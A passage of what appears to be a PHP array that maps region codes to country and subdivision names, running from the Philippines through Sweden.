'PH-63' => 'Philippines: Tarlac',
'PH-72' => 'Philippines: Tawitawi',
'PH-G5' => 'Philippines: Toledo',
'PH-G6' => 'Philippines: Trece Martires',
'PH-64' => 'Philippines: Zambales',
'PH-65' => 'Philippines: Zamboanga del Norte',
'PH-66' => 'Philippines: Zamboanga del Sur',
'PH-G7' => 'Philippines: Zamboanga',
'--PL' => '','-PL' =>
'Poland',
'PL-23' => 'Poland: Biala Podlaska',
'PL-24' => 'Poland: Bialystok',
'PL-25' => 'Poland: Bielsko',
'PL-26' => 'Poland: Bydgoszcz',
'PL-27' => 'Poland: Chelm',
'PL-28' => 'Poland: Ciechanow',
'PL-29' => 'Poland: Czestochowa',
'PL-72' => 'Poland: Dolnoslaskie',
'PL-30' => 'Poland: Elblag',
'PL-31' => 'Poland: Gdansk',
'PL-32' => 'Poland: Gorzow',
'PL-33' => 'Poland: Jelenia Gora',
'PL-34' => 'Poland: Kalisz',
'PL-35' => 'Poland: Katowice',
'PL-36' => 'Poland: Kielce',
'PL-37' => 'Poland: Konin',
'PL-38' => 'Poland: Koszalin',
'PL-39' => 'Poland: Krakow',
'PL-40' => 'Poland: Krosno',
'PL-73' => 'Poland: Kujawsko-Pomorskie',
'PL-41' => 'Poland: Legnica',
'PL-42' => 'Poland: Leszno',
'PL-43' => 'Poland: Lodz',
'PL-74' => 'Poland: Lodzkie',
'PL-44' => 'Poland: Lomza',
'PL-75' => 'Poland: Lubelskie',
'PL-45' => 'Poland: Lublin',
'PL-76' => 'Poland: Lubuskie',
'PL-77' => 'Poland: Malopolskie',
'PL-78' => 'Poland: Mazowieckie',
'PL-46' => 'Poland: Nowy Sacz',
'PL-47' => 'Poland: Olsztyn',
'PL-48' => 'Poland: Opole',
'PL-79' => 'Poland: Opolskie',
'PL-49' => 'Poland: Ostroleka',
'PL-50' => 'Poland: Pila',
'PL-51' => 'Poland: Piotrkow',
'PL-52' => 'Poland: Plock',
'PL-80' => 'Poland: Podkarpackie',
'PL-81' => 'Poland: Podlaskie',
'PL-82' => 'Poland: Pomorskie',
'PL-53' => 'Poland: Poznan',
'PL-54' => 'Poland: Przemysl',
'PL-55' => 'Poland: Radom',
'PL-56' => 'Poland: Rzeszow',
'PL-57' => 'Poland: Siedlce',
'PL-58' => 'Poland: Sieradz',
'PL-59' => 'Poland: Skierniewice',
'PL-83' => 'Poland: Slaskie',
'PL-60' => 'Poland: Slupsk',
'PL-61' => 'Poland: Suwalki',
'PL-84' => 'Poland: Swietokrzyskie',
'PL-62' => 'Poland: Szczecin',
'PL-63' => 'Poland: Tarnobrzeg',
'PL-64' => 'Poland: Tarnow',
'PL-65' => 'Poland: Torun',
'PL-66' => 'Poland: Walbrzych',
'PL-85' => 'Poland: Warminsko-Mazurskie',
'PL-67' => 'Poland: Warszawa',
'PL-86' => 'Poland: Wielkopolskie',
'PL-68' => 'Poland: Wloclawek',
'PL-69' => 'Poland: Wroclaw',
'PL-87' => 'Poland: Zachodniopomorskie',
'PL-70' => 'Poland: Zamosc',
'PL-71' => 'Poland: Zielona Gora',
'--PT' => '','-PT' =>
'Portugal',
'PT-02' => 'Portugal: Aveiro',
'PT-23' => 'Portugal: Azores',
'PT-03' => 'Portugal: Beja',
'PT-04' => 'Portugal: Braga',
'PT-05' => 'Portugal: Braganca',
'PT-06' => 'Portugal: Castelo Branco',
'PT-07' => 'Portugal: Coimbra',
'PT-08' => 'Portugal: Evora',
'PT-09' => 'Portugal: Faro',
'PT-11' => 'Portugal: Guarda',
'PT-13' => 'Portugal: Leiria',
'PT-14' => 'Portugal: Lisboa',
'PT-10' => 'Portugal: Madeira',
'PT-16' => 'Portugal: Portalegre',
'PT-17' => 'Portugal: Porto',
'PT-18' => 'Portugal: Santarem',
'PT-19' => 'Portugal: Setubal',
'PT-20' => 'Portugal: Viana do Castelo',
'PT-21' => 'Portugal: Vila Real',
'PT-22' => 'Portugal: Viseu',
'--QA' => '','-QA' =>
'Qatar',
'QA-01' => 'Qatar: Ad Dawhah',
'QA-02' => 'Qatar: Al Ghuwariyah',
'QA-03' => 'Qatar: Al Jumaliyah',
'QA-04' => 'Qatar: Al Khawr',
'QA-10' => 'Qatar: Al Wakrah',
'QA-06' => 'Qatar: Ar Rayyan',
'QA-11' => 'Qatar: Jariyan al Batnah',
'QA-08' => 'Qatar: Madinat ach Shamal',
'QA-12' => 'Qatar: Umm Sa\'id',
'QA-09' => 'Qatar: Umm Salal',
'--RO' => '','-RO' =>
'Romania',
'RO-01' => 'Romania: Alba',
'RO-02' => 'Romania: Arad',
'RO-03' => 'Romania: Arges',
'RO-04' => 'Romania: Bacau',
'RO-05' => 'Romania: Bihor',
'RO-06' => 'Romania: Bistrita-Nasaud',
'RO-07' => 'Romania: Botosani',
'RO-08' => 'Romania: Braila',
'RO-09' => 'Romania: Brasov',
'RO-10' => 'Romania: Bucuresti',
'RO-11' => 'Romania: Buzau',
'RO-41' => 'Romania: Calarasi',
'RO-12' => 'Romania: Caras-Severin',
'RO-13' => 'Romania: Cluj',
'RO-14' => 'Romania: Constanta',
'RO-15' => 'Romania: Covasna',
'RO-16' => 'Romania: Dambovita',
'RO-17' => 'Romania: Dolj',
'RO-18' => 'Romania: Galati',
'RO-42' => 'Romania: Giurgiu',
'RO-19' => 'Romania: Gorj',
'RO-20' => 'Romania: Harghita',
'RO-21' => 'Romania: Hunedoara',
'RO-22' => 'Romania: Ialomita',
'RO-23' => 'Romania: Iasi',
'RO-43' => 'Romania: Ilfov',
'RO-25' => 'Romania: Maramures',
'RO-26' => 'Romania: Mehedinti',
'RO-27' => 'Romania: Mures',
'RO-28' => 'Romania: Neamt',
'RO-29' => 'Romania: Olt',
'RO-30' => 'Romania: Prahova',
'RO-31' => 'Romania: Salaj',
'RO-32' => 'Romania: Satu Mare',
'RO-33' => 'Romania: Sibiu',
'RO-34' => 'Romania: Suceava',
'RO-35' => 'Romania: Teleorman',
'RO-36' => 'Romania: Timis',
'RO-37' => 'Romania: Tulcea',
'RO-39' => 'Romania: Valcea',
'RO-38' => 'Romania: Vaslui',
'RO-40' => 'Romania: Vrancea',
'--RU' => '','-RU' => 'Russian
Federation',
'RU-01' => 'Russian Federation: Adygeya',
'RU-02' => 'Russian Federation: Aginsky Buryatsky
AO',
'RU-04' => 'Russian Federation: Altaisky krai',
'RU-05' => 'Russian Federation: Amur',
'RU-06' => 'Russian Federation: Arkhangel\'sk',
'RU-07' => 'Russian Federation: Astrakhan\'',
'RU-08' => 'Russian Federation: Bashkortostan',
'RU-09' => 'Russian Federation: Belgorod',
'RU-10' => 'Russian Federation: Bryansk',
'RU-11' => 'Russian Federation: Buryat',
'RU-12' => 'Russian Federation: Chechnya',
'RU-13' => 'Russian Federation: Chelyabinsk',
'RU-14' => 'Russian Federation: Chita',
'RU-15' => 'Russian Federation: Chukot',
'RU-16' => 'Russian Federation: Chuvashia',
'RU-17' => 'Russian Federation: Dagestan',
'RU-18' => 'Russian Federation: Evenk',
'RU-03' => 'Russian Federation: Gorno-Altay',
'RU-19' => 'Russian Federation: Ingush',
'RU-20' => 'Russian Federation: Irkutsk',
'RU-21' => 'Russian Federation: Ivanovo',
'RU-22' => 'Russian Federation: Kabardin-Balkar',
'RU-23' => 'Russian Federation: Kaliningrad',
'RU-24' => 'Russian Federation: Kalmyk',
'RU-25' => 'Russian Federation: Kaluga',
'RU-26' => 'Russian Federation: Kamchatka',
'RU-27' => 'Russian Federation: Karachay-Cherkess',
'RU-28' => 'Russian Federation: Karelia',
'RU-29' => 'Russian Federation: Kemerovo',
'RU-30' => 'Russian Federation: Khabarovsk',
'RU-31' => 'Russian Federation: Khakass',
'RU-32' => 'Russian Federation: Khanty-Mansiy',
'RU-33' => 'Russian Federation: Kirov',
'RU-34' => 'Russian Federation: Komi',
'RU-35' => 'Russian Federation: Komi-Permyak',
'RU-36' => 'Russian Federation: Koryak',
'RU-37' => 'Russian Federation: Kostroma',
'RU-38' => 'Russian Federation: Krasnodar',
'RU-39' => 'Russian Federation: Krasnoyarsk',
'RU-40' => 'Russian Federation: Kurgan',
'RU-41' => 'Russian Federation: Kursk',
'RU-42' => 'Russian Federation: Leningrad',
'RU-43' => 'Russian Federation: Lipetsk',
'RU-44' => 'Russian Federation: Magadan',
'RU-45' => 'Russian Federation: Mariy-El',
'RU-46' => 'Russian Federation: Mordovia',
'RU-48' => 'Russian Federation: Moscow City',
'RU-47' => 'Russian Federation: Moskva',
'RU-49' => 'Russian Federation: Murmansk',
'RU-50' => 'Russian Federation: Nenets',
'RU-51' => 'Russian Federation: Nizhegorod',
'RU-68' => 'Russian Federation: North Ossetia',
'RU-52' => 'Russian Federation: Novgorod',
'RU-53' => 'Russian Federation: Novosibirsk',
'RU-54' => 'Russian Federation: Omsk',
'RU-56' => 'Russian Federation: Orel',
'RU-55' => 'Russian Federation: Orenburg',
'RU-57' => 'Russian Federation: Penza',
'RU-58' => 'Russian Federation: Perm\'',
'RU-59' => 'Russian Federation: Primor\'ye',
'RU-60' => 'Russian Federation: Pskov',
'RU-61' => 'Russian Federation: Rostov',
'RU-62' => 'Russian Federation: Ryazan\'',
'RU-66' => 'Russian Federation: Saint Petersburg
City',
'RU-63' => 'Russian Federation: Sakha',
'RU-64' => 'Russian Federation: Sakhalin',
'RU-65' => 'Russian Federation: Samara',
'RU-67' => 'Russian Federation: Saratov',
'RU-69' => 'Russian Federation: Smolensk',
'RU-70' => 'Russian Federation: Stavropol\'',
'RU-71' => 'Russian Federation: Sverdlovsk',
'RU-72' => 'Russian Federation: Tambovskaya oblast',
'RU-73' => 'Russian Federation: Tatarstan',
'RU-74' => 'Russian Federation: Taymyr',
'RU-75' => 'Russian Federation: Tomsk',
'RU-76' => 'Russian Federation: Tula',
'RU-79' => 'Russian Federation: Tuva',
'RU-77' => 'Russian Federation: Tver\'',
'RU-78' => 'Russian Federation: Tyumen\'',
'RU-80' => 'Russian Federation: Udmurt',
'RU-81' => 'Russian Federation: Ul\'yanovsk',
'RU-82' => 'Russian Federation: Ust-Orda Buryat',
'RU-83' => 'Russian Federation: Vladimir',
'RU-84' => 'Russian Federation: Volgograd',
'RU-85' => 'Russian Federation: Vologda',
'RU-86' => 'Russian Federation: Voronezh',
'RU-87' => 'Russian Federation: Yamal-Nenets',
'RU-88' => 'Russian Federation: Yaroslavl\'',
'RU-89' => 'Russian Federation: Yevrey',
'--RW' => '','-RW' =>
'Rwanda',
'RW-01' => 'Rwanda: Butare',
'RW-02' => 'Rwanda: Byumba',
'RW-03' => 'Rwanda: Cyangugu',
'RW-04' => 'Rwanda: Gikongoro',
'RW-05' => 'Rwanda: Gisenyi',
'RW-06' => 'Rwanda: Gitarama',
'RW-07' => 'Rwanda: Kibungo',
'RW-08' => 'Rwanda: Kibuye',
'RW-09' => 'Rwanda: Kigali',
'RW-10' => 'Rwanda: Ruhengeri',
'--SH' => '','-SH' => 'Saint
Helena',
'SH-01' => 'Saint Helena: Ascension',
'SH-02' => 'Saint Helena: Saint Helena',
'SH-03' => 'Saint Helena: Tristan da Cunha',
'--KN' => '','-KN' => 'Saint Kitts
and Nevis',
'KN-01' => 'Saint Kitts and Nevis: Christ Church Nichola
Town',
'KN-02' => 'Saint Kitts and Nevis: Saint Anne Sandy
Point',
'KN-03' => 'Saint Kitts and Nevis: Saint George
Basseterre',
'KN-04' => 'Saint Kitts and Nevis: Saint George
Gingerland',
'KN-05' => 'Saint Kitts and Nevis: Saint James
Windward',
'KN-06' => 'Saint Kitts and Nevis: Saint John
Capisterre',
'KN-07' => 'Saint Kitts and Nevis: Saint John
Figtree',
'KN-08' => 'Saint Kitts and Nevis: Saint Mary
Cayon',
'KN-09' => 'Saint Kitts and Nevis: Saint Paul
Capisterre',
'KN-10' => 'Saint Kitts and Nevis: Saint Paul
Charlestown',
'KN-11' => 'Saint Kitts and Nevis: Saint Peter
Basseterre',
'KN-12' => 'Saint Kitts and Nevis: Saint Thomas
Lowland',
'KN-13' => 'Saint Kitts and Nevis: Saint Thomas Middle
Island',
'KN-15' => 'Saint Kitts and Nevis: Trinity Palmetto
Point',
'--LC' => '','-LC' => 'Saint
Lucia',
'LC-01' => 'Saint Lucia: Anse-la-Raye',
'LC-03' => 'Saint Lucia: Castries',
'LC-04' => 'Saint Lucia: Choiseul',
'LC-02' => 'Saint Lucia: Dauphin',
'LC-05' => 'Saint Lucia: Dennery',
'LC-06' => 'Saint Lucia: Gros-Islet',
'LC-07' => 'Saint Lucia: Laborie',
'LC-08' => 'Saint Lucia: Micoud',
'LC-11' => 'Saint Lucia: Praslin',
'LC-09' => 'Saint Lucia: Soufriere',
'LC-10' => 'Saint Lucia: Vieux-Fort',
'--VC' => '','-VC' => 'Saint
Vincent and the Grenadines',
'VC-01' => 'Saint Vincent and the Grenadines:
Charlotte',
'VC-06' => 'Saint Vincent and the Grenadines:
Grenadines',
'VC-02' => 'Saint Vincent and the Grenadines: Saint
Andrew',
'VC-03' => 'Saint Vincent and the Grenadines: Saint
David',
'VC-04' => 'Saint Vincent and the Grenadines: Saint
George',
'VC-05' => 'Saint Vincent and the Grenadines: Saint
Patrick',
'--WS' => '','-WS' =>
'Samoa',
'WS-02' => 'Samoa: Aiga-i-le-Tai',
'WS-03' => 'Samoa: Atua',
'WS-04' => 'Samoa: Fa',
'WS-05' => 'Samoa: Gaga',
'WS-07' => 'Samoa: Gagaifomauga',
'WS-08' => 'Samoa: Palauli',
'WS-09' => 'Samoa: Satupa',
'WS-10' => 'Samoa: Tuamasaga',
'WS-06' => 'Samoa: Va',
'WS-11' => 'Samoa: Vaisigano',
'--SM' => '','-SM' => 'San
Marino',
'SM-01' => 'San Marino: Acquaviva',
'SM-06' => 'San Marino: Borgo Maggiore',
'SM-02' => 'San Marino: Chiesanuova',
'SM-03' => 'San Marino: Domagnano',
'SM-04' => 'San Marino: Faetano',
'SM-05' => 'San Marino: Fiorentino',
'SM-08' => 'San Marino: Monte Giardino',
'SM-07' => 'San Marino: San Marino',
'SM-09' => 'San Marino: Serravalle',
'--ST' => '','-ST' => 'Sao Tome
and Principe',
'ST-01' => 'Sao Tome and Principe: Principe',
'ST-02' => 'Sao Tome and Principe: Sao Tome',
'--SA' => '','-SA' => 'Saudi
Arabia',
'SA-02' => 'Saudi Arabia: Al Bahah',
'SA-15' => 'Saudi Arabia: Al Hudud ash Shamaliyah',
'SA-03' => 'Saudi Arabia: Al Jawf',
'SA-20' => 'Saudi Arabia: Al Jawf',
'SA-05' => 'Saudi Arabia: Al Madinah',
'SA-08' => 'Saudi Arabia: Al Qasim',
'SA-09' => 'Saudi Arabia: Al Qurayyat',
'SA-10' => 'Saudi Arabia: Ar Riyad',
'SA-06' => 'Saudi Arabia: Ash Sharqiyah',
'SA-13' => 'Saudi Arabia: Ha\'il',
'SA-17' => 'Saudi Arabia: Jizan',
'SA-14' => 'Saudi Arabia: Makkah',
'SA-16' => 'Saudi Arabia: Najran',
'SA-19' => 'Saudi Arabia: Tabuk',
'--SN' => '','-SN' =>
'Senegal',
'SN-01' => 'Senegal: Dakar',
'SN-03' => 'Senegal: Diourbel',
'SN-09' => 'Senegal: Fatick',
'SN-10' => 'Senegal: Kaolack',
'SN-11' => 'Senegal: Kolda',
'SN-08' => 'Senegal: Louga',
'SN-04' => 'Senegal: Saint-Louis',
'SN-05' => 'Senegal: Tambacounda',
'SN-07' => 'Senegal: Thies',
'SN-12' => 'Senegal: Ziguinchor',
'--RS' => '','-RS' =>
'Serbia',
'RS-01' => 'Serbia: Kosovo',
'RS-02' => 'Serbia: Vojvodina',
'--SC' => '','-SC' =>
'Seychelles',
'SC-01' => 'Seychelles: Anse aux Pins',
'SC-02' => 'Seychelles: Anse Boileau',
'SC-03' => 'Seychelles: Anse Etoile',
'SC-04' => 'Seychelles: Anse Louis',
'SC-05' => 'Seychelles: Anse Royale',
'SC-06' => 'Seychelles: Baie Lazare',
'SC-07' => 'Seychelles: Baie Sainte Anne',
'SC-08' => 'Seychelles: Beau Vallon',
'SC-09' => 'Seychelles: Bel Air',
'SC-10' => 'Seychelles: Bel Ombre',
'SC-11' => 'Seychelles: Cascade',
'SC-12' => 'Seychelles: Glacis',
'SC-13' => 'Seychelles: Grand\' Anse',
'SC-14' => 'Seychelles: Grand\' Anse',
'SC-15' => 'Seychelles: La Digue',
'SC-16' => 'Seychelles: La Riviere Anglaise',
'SC-17' => 'Seychelles: Mont Buxton',
'SC-18' => 'Seychelles: Mont Fleuri',
'SC-19' => 'Seychelles: Plaisance',
'SC-20' => 'Seychelles: Pointe La Rue',
'SC-21' => 'Seychelles: Port Glaud',
'SC-22' => 'Seychelles: Saint Louis',
'SC-23' => 'Seychelles: Takamaka',
'--SL' => '','-SL' => 'Sierra
Leone',
'SL-01' => 'Sierra Leone: Eastern',
'SL-02' => 'Sierra Leone: Northern',
'SL-03' => 'Sierra Leone: Southern',
'SL-04' => 'Sierra Leone: Western Area',
'--SK' => '','-SK' =>
'Slovakia',
'SK-01' => 'Slovakia: Banska Bystrica',
'SK-02' => 'Slovakia: Bratislava',
'SK-03' => 'Slovakia: Kosice',
'SK-04' => 'Slovakia: Nitra',
'SK-05' => 'Slovakia: Presov',
'SK-06' => 'Slovakia: Trencin',
'SK-07' => 'Slovakia: Trnava',
'SK-08' => 'Slovakia: Zilina',
'--SI' => '','-SI' =>
'Slovenia',
'SI-01' => 'Slovenia: Ajdovscina',
'SI-02' => 'Slovenia: Beltinci',
'SI-03' => 'Slovenia: Bled',
'SI-04' => 'Slovenia: Bohinj',
'SI-05' => 'Slovenia: Borovnica',
'SI-06' => 'Slovenia: Bovec',
'SI-07' => 'Slovenia: Brda',
'SI-08' => 'Slovenia: Brezice',
'SI-09' => 'Slovenia: Brezovica',
'SI-11' => 'Slovenia: Celje',
'SI-12' => 'Slovenia: Cerklje na Gorenjskem',
'SI-13' => 'Slovenia: Cerknica',
'SI-14' => 'Slovenia: Cerkno',
'SI-15' => 'Slovenia: Crensovci',
'SI-16' => 'Slovenia: Crna na Koroskem',
'SI-17' => 'Slovenia: Crnomelj',
'SI-19' => 'Slovenia: Divaca',
'SI-20' => 'Slovenia: Dobrepolje',
'SI-G4' => 'Slovenia: Dobrova-Horjul-Polhov Gradec',
'SI-22' => 'Slovenia: Dol pri Ljubljani',
'SI-G7' => 'Slovenia: Domzale',
'SI-24' => 'Slovenia: Dornava',
'SI-25' => 'Slovenia: Dravograd',
'SI-26' => 'Slovenia: Duplek',
'SI-27' => 'Slovenia: Gorenja Vas-Poljane',
'SI-28' => 'Slovenia: Gorisnica',
'SI-29' => 'Slovenia: Gornja Radgona',
'SI-30' => 'Slovenia: Gornji Grad',
'SI-31' => 'Slovenia: Gornji Petrovci',
'SI-32' => 'Slovenia: Grosuplje',
'SI-34' => 'Slovenia: Hrastnik',
'SI-35' => 'Slovenia: Hrpelje-Kozina',
'SI-36' => 'Slovenia: Idrija',
'SI-37' => 'Slovenia: Ig',
'SI-38' => 'Slovenia: Ilirska Bistrica',
'SI-39' => 'Slovenia: Ivancna Gorica',
'SI-40' => 'Slovenia: Izola-Isola',
'SI-H4' => 'Slovenia: Jesenice',
'SI-42' => 'Slovenia: Jursinci',
'SI-H6' => 'Slovenia: Kamnik',
'SI-44' => 'Slovenia: Kanal',
'SI-45' => 'Slovenia: Kidricevo',
'SI-46' => 'Slovenia: Kobarid',
'SI-47' => 'Slovenia: Kobilje',
'SI-H7' => 'Slovenia: Kocevje',
'SI-49' => 'Slovenia: Komen',
'SI-50' => 'Slovenia: Koper-Capodistria',
'SI-51' => 'Slovenia: Kozje',
'SI-52' => 'Slovenia: Kranj',
'SI-53' => 'Slovenia: Kranjska Gora',
'SI-54' => 'Slovenia: Krsko',
'SI-55' => 'Slovenia: Kungota',
'SI-I2' => 'Slovenia: Kuzma',
'SI-57' => 'Slovenia: Lasko',
'SI-I3' => 'Slovenia: Lenart',
'SI-I5' => 'Slovenia: Litija',
'SI-61' => 'Slovenia: Ljubljana',
'SI-62' => 'Slovenia: Ljubno',
'SI-I6' => 'Slovenia: Ljutomer',
'SI-64' => 'Slovenia: Logatec',
'SI-I7' => 'Slovenia: Loska Dolina',
'SI-66' => 'Slovenia: Loski Potok',
'SI-I9' => 'Slovenia: Luce',
'SI-68' => 'Slovenia: Lukovica',
'SI-J1' => 'Slovenia: Majsperk',
'SI-J2' => 'Slovenia: Maribor',
'SI-71' => 'Slovenia: Medvode',
'SI-72' => 'Slovenia: Menges',
'SI-73' => 'Slovenia: Metlika',
'SI-74' => 'Slovenia: Mezica',
'SI-J5' => 'Slovenia: Miren-Kostanjevica',
'SI-76' => 'Slovenia: Mislinja',
'SI-77' => 'Slovenia: Moravce',
'SI-78' => 'Slovenia: Moravske Toplice',
'SI-79' => 'Slovenia: Mozirje',
'SI-80' => 'Slovenia: Murska Sobota',
'SI-81' => 'Slovenia: Muta',
'SI-82' => 'Slovenia: Naklo',
'SI-83' => 'Slovenia: Nazarje',
'SI-84' => 'Slovenia: Nova Gorica',
'SI-J7' => 'Slovenia: Novo Mesto',
'SI-86' => 'Slovenia: Odranci',
'SI-87' => 'Slovenia: Ormoz',
'SI-88' => 'Slovenia: Osilnica',
'SI-89' => 'Slovenia: Pesnica',
'SI-J9' => 'Slovenia: Piran',
'SI-91' => 'Slovenia: Pivka',
'SI-92' => 'Slovenia: Podcetrtek',
'SI-94' => 'Slovenia: Postojna',
'SI-K5' => 'Slovenia: Preddvor',
'SI-K7' => 'Slovenia: Ptuj',
'SI-97' => 'Slovenia: Puconci',
'SI-98' => 'Slovenia: Racam',
'SI-99' => 'Slovenia: Radece',
'SI-A1' => 'Slovenia: Radenci',
'SI-A2' => 'Slovenia: Radlje ob Dravi',
'SI-A3' => 'Slovenia: Radovljica',
'SI-L1' => 'Slovenia: Ribnica',
'SI-A7' => 'Slovenia: Rogaska Slatina',
'SI-A6' => 'Slovenia: Rogasovci',
'SI-A8' => 'Slovenia: Rogatec',
'SI-L3' => 'Slovenia: Ruse',
'SI-B1' => 'Slovenia: Semic',
'SI-B2' => 'Slovenia: Sencur',
'SI-B3' => 'Slovenia: Sentilj',
'SI-B4' => 'Slovenia: Sentjernej',
'SI-L7' => 'Slovenia: Sentjur pri Celju',
'SI-B6' => 'Slovenia: Sevnica',
'SI-B7' => 'Slovenia: Sezana',
'SI-B8' => 'Slovenia: Skocjan',
'SI-B9' => 'Slovenia: Skofja Loka',
'SI-C1' => 'Slovenia: Skofljica',
'SI-C2' => 'Slovenia: Slovenj Gradec',
'SI-L8' => 'Slovenia: Slovenska Bistrica',
'SI-C4' => 'Slovenia: Slovenske Konjice',
'SI-C5' => 'Slovenia: Smarje pri Jelsah',
'SI-C6' => 'Slovenia: Smartno ob Paki',
'SI-C7' => 'Slovenia: Sostanj',
'SI-C8' => 'Slovenia: Starse',
'SI-C9' => 'Slovenia: Store',
'SI-D1' => 'Slovenia: Sveti Jurij',
'SI-D2' => 'Slovenia: Tolmin',
'SI-D3' => 'Slovenia: Trbovlje',
'SI-D4' => 'Slovenia: Trebnje',
'SI-D5' => 'Slovenia: Trzic',
'SI-D6' => 'Slovenia: Turnisce',
'SI-D7' => 'Slovenia: Velenje',
'SI-D8' => 'Slovenia: Velike Lasce',
'SI-N2' => 'Slovenia: Videm',
'SI-E1' => 'Slovenia: Vipava',
'SI-E2' => 'Slovenia: Vitanje',
'SI-E3' => 'Slovenia: Vodice',
'SI-N3' => 'Slovenia: Vojnik',
'SI-E5' => 'Slovenia: Vrhnika',
'SI-E6' => 'Slovenia: Vuzenica',
'SI-E7' => 'Slovenia: Zagorje ob Savi',
'SI-N5' => 'Slovenia: Zalec',
'SI-E9' => 'Slovenia: Zavrc',
'SI-F1' => 'Slovenia: Zelezniki',
'SI-F2' => 'Slovenia: Ziri',
'SI-F3' => 'Slovenia: Zrece',
'--SB' => '','-SB' => 'Solomon
Islands',
'SB-05' => 'Solomon Islands: Central',
'SB-06' => 'Solomon Islands: Guadalcanal',
'SB-07' => 'Solomon Islands: Isabel',
'SB-08' => 'Solomon Islands: Makira',
'SB-03' => 'Solomon Islands: Malaita',
'SB-09' => 'Solomon Islands: Temotu',
'SB-04' => 'Solomon Islands: Western',
'--SO' => '','-SO' =>
'Somalia',
'SO-01' => 'Somalia: Bakool',
'SO-02' => 'Somalia: Banaadir',
'SO-03' => 'Somalia: Bari',
'SO-04' => 'Somalia: Bay',
'SO-05' => 'Somalia: Galguduud',
'SO-06' => 'Somalia: Gedo',
'SO-07' => 'Somalia: Hiiraan',
'SO-08' => 'Somalia: Jubbada Dhexe',
'SO-09' => 'Somalia: Jubbada Hoose',
'SO-10' => 'Somalia: Mudug',
'SO-11' => 'Somalia: Nugaal',
'SO-12' => 'Somalia: Sanaag',
'SO-13' => 'Somalia: Shabeellaha Dhexe',
'SO-14' => 'Somalia: Shabeellaha Hoose',
'SO-15' => 'Somalia: Togdheer',
'SO-16' => 'Somalia: Woqooyi Galbeed',
'--ZA' => '','-ZA' => 'South
Africa',
'ZA-05' => 'South Africa: Eastern Cape',
'ZA-03' => 'South Africa: Free State',
'ZA-06' => 'South Africa: Gauteng',
'ZA-02' => 'South Africa: KwaZulu-Natal',
'ZA-09' => 'South Africa: Limpopo',
'ZA-07' => 'South Africa: Mpumalanga',
'ZA-08' => 'South Africa: Northern Cape',
'ZA-10' => 'South Africa: North-West',
'ZA-11' => 'South Africa: Western Cape',
'--KR' => '','-KR' => 'South
Korea',
'KR-01' => 'South Korea: Cheju-do',
'KR-03' => 'South Korea: Cholla-bukto',
'KR-16' => 'South Korea: Cholla-namdo',
'KR-05' => 'South Korea:
Ch\'ungch\'ong-bukto',
'KR-17' => 'South Korea:
Ch\'ungch\'ong-namdo',
'KR-12' => 'South Korea: Inch\'on-jikhalsi',
'KR-06' => 'South Korea: Kangwon-do',
'KR-18' => 'South Korea: Kwangju-jikhalsi',
'KR-13' => 'South Korea: Kyonggi-do',
'KR-14' => 'South Korea: Kyongsang-bukto',
'KR-20' => 'South Korea: Kyongsang-namdo',
'KR-10' => 'South Korea: Pusan-jikhalsi',
'KR-11' => 'South Korea: Seoul-t\'ukpyolsi',
'KR-15' => 'South Korea: Taegu-jikhalsi',
'KR-19' => 'South Korea: Taejon-jikhalsi',
'KR-21' => 'South Korea: Ulsan-gwangyoksi',
'--ES' => '','-ES' =>
'Spain',
'ES-51' => 'Spain: Andalucia',
'ES-52' => 'Spain: Aragon',
'ES-34' => 'Spain: Asturias',
'ES-53' => 'Spain: Canarias',
'ES-39' => 'Spain: Cantabria',
'ES-55' => 'Spain: Castilla y Leon',
'ES-54' => 'Spain: Castilla-La Mancha',
'ES-56' => 'Spain: Catalonia',
'ES-60' => 'Spain: Comunidad Valenciana',
'ES-57' => 'Spain: Extremadura',
'ES-58' => 'Spain: Galicia',
'ES-07' => 'Spain: Islas Baleares',
'ES-27' => 'Spain: La Rioja',
'ES-29' => 'Spain: Madrid',
'ES-31' => 'Spain: Murcia',
'ES-32' => 'Spain: Navarra',
'ES-59' => 'Spain: Pais Vasco',
'--LK' => '','-LK' => 'Sri
Lanka',
'LK-01' => 'Sri Lanka: Amparai',
'LK-02' => 'Sri Lanka: Anuradhapura',
'LK-03' => 'Sri Lanka: Badulla',
'LK-04' => 'Sri Lanka: Batticaloa',
'LK-23' => 'Sri Lanka: Colombo',
'LK-06' => 'Sri Lanka: Galle',
'LK-24' => 'Sri Lanka: Gampaha',
'LK-07' => 'Sri Lanka: Hambantota',
'LK-25' => 'Sri Lanka: Jaffna',
'LK-09' => 'Sri Lanka: Kalutara',
'LK-10' => 'Sri Lanka: Kandy',
'LK-11' => 'Sri Lanka: Kegalla',
'LK-12' => 'Sri Lanka: Kurunegala',
'LK-26' => 'Sri Lanka: Mannar',
'LK-14' => 'Sri Lanka: Matale',
'LK-15' => 'Sri Lanka: Matara',
'LK-16' => 'Sri Lanka: Moneragala',
'LK-27' => 'Sri Lanka: Mullaittivu',
'LK-17' => 'Sri Lanka: Nuwara Eliya',
'LK-18' => 'Sri Lanka: Polonnaruwa',
'LK-19' => 'Sri Lanka: Puttalam',
'LK-20' => 'Sri Lanka: Ratnapura',
'LK-21' => 'Sri Lanka: Trincomalee',
'LK-28' => 'Sri Lanka: Vavuniya',
'--SD' => '','-SD' =>
'Sudan',
'SD-28' => 'Sudan: Al Istiwa\'iyah',
'SD-29' => 'Sudan: Al Khartum',
'SD-27' => 'Sudan: Al Wusta',
'SD-30' => 'Sudan: Ash Shamaliyah',
'SD-31' => 'Sudan: Ash Sharqiyah',
'SD-32' => 'Sudan: Bahr al Ghazal',
'SD-33' => 'Sudan: Darfur',
'SD-34' => 'Sudan: Kurdufan',
'--SR' => '','-SR' =>
'Suriname',
'SR-10' => 'Suriname: Brokopondo',
'SR-11' => 'Suriname: Commewijne',
'SR-12' => 'Suriname: Coronie',
'SR-13' => 'Suriname: Marowijne',
'SR-14' => 'Suriname: Nickerie',
'SR-15' => 'Suriname: Para',
'SR-16' => 'Suriname: Paramaribo',
'SR-17' => 'Suriname: Saramacca',
'SR-18' => 'Suriname: Sipaliwini',
'SR-19' => 'Suriname: Wanica',
'--SZ' => '','-SZ' =>
'Swaziland',
'SZ-01' => 'Swaziland: Hhohho',
'SZ-02' => 'Swaziland: Lubombo',
'SZ-03' => 'Swaziland: Manzini',
'SZ-05' => 'Swaziland: Praslin',
'SZ-04' => 'Swaziland: Shiselweni',
'--SE' => '','-SE' =>
'Sweden',
'SE-01' => 'Sweden: Alvsborgs Lan',
'SE-02' => 'Sweden: Blekinge Lan',
'SE-10' => 'Sweden: Dalarnas Lan',
'SE-03' => 'Sweden: Gavleborgs Lan',
'SE-04' => 'Sweden: Goteborgs och Bohus Lan',
'SE-05' => 'Sweden: Gotlands Lan',
